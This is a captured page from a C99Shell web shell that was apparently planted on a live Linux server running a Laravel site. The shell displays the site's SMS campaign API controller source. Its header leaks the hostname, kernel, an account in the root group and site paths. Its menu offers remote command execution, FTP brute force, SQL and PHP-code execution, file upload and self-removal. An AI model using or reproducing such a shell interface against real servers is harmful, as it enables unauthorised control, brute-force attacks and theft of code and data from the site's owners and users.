!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gateway.picotech.app/public_html/app/Http/Controllers/Api/   drwxr-xr-x
Free 28.56 GB of 117.98 GB (24.21%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CampaignController.php (7.58 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Api;

use 
App\Http\Controllers\Controller;
use 
App\Jobs\CampaignCreateJob;
use 
App\Models\Campaign;
use 
App\Models\Customer;
use 
App\Models\Exception;
use 
App\Models\Message;
use 
App\Models\Number;
use 
App\Models\SmsTemplate;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Carbon;
use 
Illuminate\Support\Facades\Validator;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Log;

class 
CampaignController extends Controller
{
    public function 
index(Request $request)
    {
        
$customer auth()->user();

        
$campaigns Campaign::select(['id''title''start_date''end_date''start_time''end_time''status''import_fail_message'])
            ->
where('customer_id'$customer->id)->get();

        return 
response()->json(['status' => 'success''data' => $campaigns]);
    }

    public function 
store(Request $request)
    {
        
$validator Validator::make($request->all(), [
            
'title' => 'required',
            
'to_number' => 'required',
            
'start_date' => 'required',
            
'template_body' => 'required',
            
'end_date' => 'required',
            
'start_time' => 'required',
            
'end_time' => 'required',
            
'from_devices' => 'required|array',
        ]);
        
$customer auth()->user();

        if (
$validator->fails()) {
            return 
response()->json(['message' => $validator->errors()->messages()], 404);
        }
        
DB::beginTransaction();
        try {
            
$user auth()->user();

            
$devices $user->activeDevices($request->from_devices)->get();
            if (
$devices->isEmpty()) {
                return 
response()->json(['status' => 'failed''message' => trans('Device has been removed or inactive')]);
            }
            
$deviceUniqueIds $devices->pluck('device_unique_id''id');

            
$totalTo array_map('trim'array_unique(preg_split('/,/'$request->to_number, -1PREG_SPLIT_NO_EMPTY)));
            
$onException Exception::where('customer_id'auth()->user()->id)->whereIn('number'$totalTo)->pluck('number')->toArray();
            
$to array_diff($totalTo$onException);
//dd($to);
            
$current_plan auth()->user()->currentPlan();
            if (!
$current_plan)
                return 
response()->json(['status' => 'failed''message' => trans('Customer doesn\'t have any plan right now')]);

            
$request['send_speed']='1';

            
$deviceIds $devices->pluck('id')->toArray();
            
$customer auth()->user();
            
$campaign = new Campaign();
            
$campaign->title $request->title;
            
$campaign->customer_id $customer->id;
            
$campaign->device_ids json_encode($deviceIds);
            
$campaign->from_devices json_encode($devices->pluck('device_unique_id')->toArray());
            
$campaign->to_number json_encode($to);
            
$campaign->start_date $request->start_date;
            
$campaign->end_date $request->end_date;
            
$campaign->start_time $request->start_time;
            
$campaign->end_time $request->end_time;
            
$campaign->template_id $request->template_id;
            
$campaign->message_body json_encode($request->template_body);
            
$campaign->message_send_rate $request->send_speed;
            
$campaign->status 'importing';
            
$campaign->save();
            
$from $deviceIds;


            
$totalToNumbersCount 0;
            
$totalFromNumbersCount count($from);
            
$generatedToNumbers = [];
            
$lastKey end($from);
            for (
$i 0$i count($to); $i += count($from)) {
                for (
$j 0$j count($from); $j++) {
                    if (isset(
$to[$i $j])) {
                        
$generatedToNumbers[$from[$j]][] = trim($to[$i $j]);
                        
$totalToNumbersCount++;
                    }
                }
            }


            foreach (
$generatedToNumbers as $key => $toNumbers) {
                
/*Start*/
                
$startDate = (new Carbon($request->start_date))->subDay();
                
$endDate = new Carbon($request->end_date);
                
$startTime = new Carbon($request->start_time);
                
$endTime = new Carbon($request->end_time);
                
$difference_time $startTime->diffInSeconds($endTime);
                
$difference_date $startDate->diffInDays($endDate);
                
$total_minute $difference_time $difference_date;
                
$send_speed floor($total_minute $totalToNumbersCount);
                
/*End*/

                //create new message
                
$newMessage = new Message();
                
$newMessage->customer_id $customer->id;
                
$newMessage->body json_encode($request->template_body);
                
$newMessage->numbers json_encode(['from' => $key'to' => $toNumbers'device_unique_id' => $deviceUniqueIds[$key]]);
                
$newMessage->campaign_id $campaign->id;
                
$newMessage->type 'sent';
                
$newMessage->read 'no';
                
$newMessage->save();

                
CampaignCreateJob::dispatch($key$toNumbers$campaign$newMessage$totalToNumbersCount$totalFromNumbersCount$difference_date$startDate$startTime$send_speedauth()->user(), $lastKey);
            }
            
DB::commit();
            return 
response()->json(['status' => 'success''message' => trans('Campaign created successfully')]);
        } catch (
\Exception $ex) {
            
Log::error($ex);
            
DB::rollBack();
            return 
response()->json(['message' => $ex->getMessage()], 400);
        }
    }

    public function 
statistic($id)
    {
        
$customer auth()->user();
        
$campaign $customer->campaings()->where('id'$id)->firstOrFail();
        
$runningMessageLogs $customer->sms_queues()->select('body''from''to''delivered_at''schedule_completed''status')->where('campaign_id'$campaign->id)->orderBy('schedule_datetime')->where('schedule_completed''no')->where('status''running')->get();
        
$pausedMessageLogs $customer->sms_queues()->select('body''from''to''delivered_at''schedule_completed''status')->where('campaign_id'$campaign->id)->orderBy('schedule_datetime')->where('status''paused')->get();
        
$failedMessageLogs $customer->sms_queues()->select('body''from''to''delivered_at''schedule_completed''status')->where('campaign_id'$campaign->id)->orderBy('schedule_datetime')->where('schedule_completed''yes')->where('status''failed')->get();
        
$deliveredMessageLogs $customer->sms_queues()->select('body''from''to''delivered_at''schedule_completed''status')->where('campaign_id'$campaign->id)->orderBy('schedule_datetime')->where('status''!=''failed')->where('schedule_completed''yes')->whereColumn('created_at''<''updated_at')->whereNull('response_code')->get();

        
$data = [
            
'running_message_logs' => $runningMessageLogs,
            
'paused_message_logs' => $pausedMessageLogs,
            
'failed_message_logs' => $failedMessageLogs,
            
'delivered_message_logs' => $deliveredMessageLogs,
        ];

        return 
response()->json(['status' => 'success''data' => $data]);
    }

    public function 
getTemplate(){
        
$customer=auth()->user();
       
$smsTemplateSmsTemplate::where('customer_id'$customer->id)->where('status','active')->get();

       return 
response()->json(['status'=>'success''data'=>$smsTemplate]);
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--